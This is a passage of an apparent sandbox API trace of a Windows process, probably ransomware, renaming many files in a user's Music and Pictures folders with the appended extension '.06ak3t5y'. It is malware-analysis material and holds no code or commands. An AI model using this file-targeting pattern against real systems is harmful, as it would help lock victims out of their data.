(HeapHandle=0x1fb0000, Flags=0x8, Size=0x12c) returned 0x2086fa8 [0114.285] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\aZ3qnO44VBmYATaQO.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\az3qno44vbmyataqo.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\aZ3qnO44VBmYATaQO.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\az3qno44vbmyataqo.m4a.06ak3t5y")) returned 1 [0114.286] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.286] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686ad0) returned 1 [0114.286] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x52d8fe8) returned 1 [0114.286] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.286] CloseHandle (hObject=0x474) returned 1 [0114.287] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x120) returned 0x2086fa8 [0114.287] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\C13Qxjjyorp.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\c13qxjjyorp.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\C13Qxjjyorp.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\c13qxjjyorp.m4a.06ak3t5y")) returned 1 [0114.288] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.288] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678958) returned 1 [0114.288] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x52dc918) returned 1 [0114.288] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.288] CloseHandle (hObject=0x478) returned 1 [0114.288] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x118) returned 0x2086fa8 [0114.289] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\cfk0faS.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\cfk0fas.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\cfk0faS.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\cfk0fas.mp3.06ak3t5y")) returned 1 [0114.289] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.289] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3688df0) returned 1 [0114.289] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x52ecc78) returned 1 [0114.289] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.289] CloseHandle (hObject=0x47c) returned 1 [0114.290] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x116) returned 0x2086fa8 [0114.290] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\keE6ik.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\kee6ik.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\keE6ik.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\kee6ik.mp3.06ak3t5y")) returned 1 [0114.290] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.291] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207fe80) returned 1 [0114.291] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x52f0c90) returned 1 [0114.291] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.291] CloseHandle (hObject=0x480) returned 1 [0114.292] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x130) returned 0x2086fa8 [0114.292] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\mwT2_W2TSLnE-cjmjh9.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\mwt2_w2tslne-cjmjh9.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\aIGqygXdyMjy5o\\mwT2_W2TSLnE-cjmjh9.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\aigqygxdymjy5o\\mwt2_w2tslne-cjmjh9.wav.06ak3t5y")) returned 1 [0114.292] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.292] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2082fc0) returned 1 [0114.293] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x52f5fc8) returned 1 [0114.293] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.293] CloseHandle (hObject=0x484) returned 1 [0114.294] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x126) returned 0x2086fa8 [0114.294] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\-Z_YAbL9cxI-Zcp.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\-z_yabl9cxi-zcp.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\-Z_YAbL9cxI-Zcp.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\-z_yabl9cxi-zcp.m4a.06ak3t5y")) returned 1 [0114.294] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.294] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678a08) returned 1 [0114.295] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x530dce8) returned 1 [0114.297] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.298] CloseHandle (hObject=0x488) returned 1 [0114.299] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x128) returned 0x2086fa8 [0114.299] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\fxgOg0BIAfDIsIJA.wav" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\fxgog0biafdisija.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\fxgOg0BIAfDIsIJA.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\fxgog0biafdisija.wav.06ak3t5y")) returned 1 [0114.299] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.299] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686c40) returned 1 [0114.300] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5325d28) returned 1 [0114.300] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.300] CloseHandle (hObject=0x48c) returned 1 [0114.302] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x110) returned 0x2086fa8 [0114.302] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\oCCy.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\occy.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\oCCy.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\occy.m4a.06ak3t5y")) returned 1 [0114.302] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.302] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207ff20) returned 1 [0114.302] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5331740) returned 1 [0114.302] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.302] CloseHandle (hObject=0x490) returned 1 [0114.304] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x120) returned 0x2086fa8 [0114.304] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\VY4okSryGW4p.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\vy4oksrygw4p.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\VY4okSryGW4p.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\vy4oksrygw4p.m4a.06ak3t5y")) returned 1 [0114.305] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.305] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678ab8) returned 1 [0114.305] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x533e708) returned 1 [0114.306] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.306] CloseHandle (hObject=0x494) returned 1 [0114.307] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x110) returned 0x2086fa8 [0114.307] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\ZaNJ.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\zanj.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\EFD45sbjBLnjkaNBD8U_\\UwFu6S-3RSOj8\\ZaNJ.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\efd45sbjblnjkanbd8u_\\uwfu6s-3rsoj8\\zanj.mp3.06ak3t5y")) returned 1 [0114.308] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.308] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x207ffc0) returned 1 [0114.308] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x534e920) returned 1 [0114.308] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.308] CloseHandle (hObject=0x498) returned 1 [0114.309] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x12e) returned 0x2086fa8 [0114.309] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\jM93ILfZ7fDDWsGirI-L.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\jm93ilfz7fddwsgiri-l.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\jM93ILfZ7fDDWsGirI-L.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\jm93ilfz7fddwsgiri-l.mp3.06ak3t5y")) returned 1 [0114.310] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.310] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686b88) returned 1 [0114.310] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x535b0f0) returned 1 [0114.310] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.311] CloseHandle (hObject=0x49c) returned 1 [0114.311] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x124) returned 0x2086fa8 [0114.311] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\K1fpgCGFkiRgEGB.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\k1fpgcgfkirgegb.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\K1fpgCGFkiRgEGB.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\k1fpgcgfkirgegb.mp3.06ak3t5y")) returned 1 [0114.312] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.312] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678b68) returned 1 [0114.312] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5361910) returned 1 [0114.312] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.312] CloseHandle (hObject=0x4a0) returned 1 [0114.313] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x116) returned 0x2086fa8 [0114.313] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\QZ-WGkc_.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\qz-wgkc_.mp3"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\QZ-WGkc_.mp3.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\qz-wgkc_.mp3.06ak3t5y")) returned 1 [0114.314] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.314] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2080060) returned 1 [0114.314] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5368088) returned 1 [0114.314] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.314] CloseHandle (hObject=0x4a4) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x120) returned 0x2086fa8 [0114.316] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\RTlLyJ2xLTGq6.m4a" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\rtllyj2xltgq6.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\RTlLyJ2xLTGq6.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\rtllyj2xltgq6.m4a.06ak3t5y")) returned 1 [0114.316] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.316] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3678c18) returned 1 [0114.316] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x536d5d8) returned 1 [0114.316] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x425ff80, lpCompletionKey=0x425ff7c, lpOverlapped=0x425ff84) returned 1 [0114.316] CloseHandle (hObject=0x4a8) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x128) returned 0x2086fa8 [0114.317] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\v0woxMWx-oewXBDJR.wav" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\v0woxmwx-oewxbdjr.wav"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Music\\Rqx5DrLsWGq0fuHce-F\\7kj_kwW8UDpe5\\v0woxMWx-oewXBDJR.wav.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\music\\rqx5drlswgq0fuhce-f\\7kj_kww8udpe5\\v0woxmwx-oewxbdjr.wav.06ak3t5y")) returned 1 [0114.318] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.318] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x3686e68) returned 1 [0114.318] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5384dc8) returned 1 [0114.318] CloseHandle (hObject=0x4ac) returned 1 [0114.319] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10a) returned 0x2086fa8 [0114.319] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\FIhzmxZkGIl0.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\fihzmxzkgil0.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\FIhzmxZkGIl0.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\fihzmxzkgil0.gif.06ak3t5y")) returned 1 [0114.320] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.320] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078758) returned 1 [0114.320] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x538e9c0) returned 1 [0114.320] CloseHandle (hObject=0x4b0) returned 1 [0114.322] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x100) returned 0x366cb60 [0114.322] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\jpeJxtt.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\jpejxtt.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\jpeJxtt.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\jpejxtt.png.06ak3t5y")) returned 1 [0114.322] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0114.322] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9bd0) returned 1 [0114.322] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x5397ae0) returned 1 [0114.322] CloseHandle (hObject=0x4b4) returned 1 [0114.324] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10a) returned 0x2086fa8 [0114.324] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\qToI3b-WnacY.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\qtoi3b-wnacy.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\qToI3b-WnacY.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\qtoi3b-wnacy.png.06ak3t5y")) returned 1 [0114.325] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.325] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20787f0) returned 1 [0114.325] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x53ad840) returned 1 [0114.325] CloseHandle (hObject=0x4b8) returned 1 [0114.326] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfc) returned 0x366cb60 [0114.326] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\W7fIh.jpg" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\w7fih.jpg"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\IILnAi1f\\W7fIh.jpg.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\iilnai1f\\w7fih.jpg.06ak3t5y")) returned 1 [0114.330] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x366cb60) returned 1 [0114.330] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x367af90) returned 1 [0114.330] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x53c4688) returned 1 [0114.333] CloseHandle (hObject=0x4bc) returned 1 [0114.335] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x10e) returned 0x2086fa8 [0114.335] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\-JijMimDr93k95CNN.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\-jijmimdr93k95cnn.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\-JijMimDr93k95CNN.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\-jijmimdr93k95cnn.png.06ak3t5y")) returned 1 [0114.336] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.336] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2078888) returned 1 [0114.336] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x53dd320) returned 1 [0114.337] CloseHandle (hObject=0x4c0) returned 1 [0114.338] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0x104) returned 0x2086fa8 [0114.338] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\4A9u_vMESz0L.png" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\4a9u_vmesz0l.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Pictures\\BL2lkdvDBou\\Kq18r\\4A9u_vMESz0L.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\pictures\\bl2lkdvdbou\\kq18r\\4a9u_vmesz0l.png.06ak3t5y")) returned 1 [0114.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2086fa8) returned 1 [0114.339] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a9f30) returned 1 [0114.339] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x53e2ab0) returned 1 [0114.339] CloseHandle (hObject=0x4c4) returned 1 [0114.340] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xfe) returned 0x366cb60 [0114.341] MoveFileW 